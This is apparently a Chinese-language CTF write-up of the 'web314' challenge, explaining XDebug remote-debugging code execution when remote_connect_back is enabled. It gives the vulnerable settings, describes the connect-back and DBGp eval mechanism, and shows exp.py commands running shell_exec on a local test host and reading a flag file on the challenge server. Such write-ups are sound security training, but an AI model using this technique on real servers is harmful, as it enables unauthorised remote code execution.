web314(XDebug 远程调试漏洞)

 

利用前提
目标开启了远程调试模式,并设置remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

利用原理
在上面的配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

详细讲解处:
https://blog.ricterz.me/posts/Xdebug:%20A%20Tiny%20Attack%20Surface

exp: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

指定目标web地址、待执行的php代码即可:
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'

重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

 

python3 exp.py -t http://pwn.challenge.ctf.show:28100/ -c 'shell_exec("cat flaaaxx.php");'

 

posted @ 2025-04-28 17:18  justdoIT*  阅读(73)  评论(0)    收藏  举报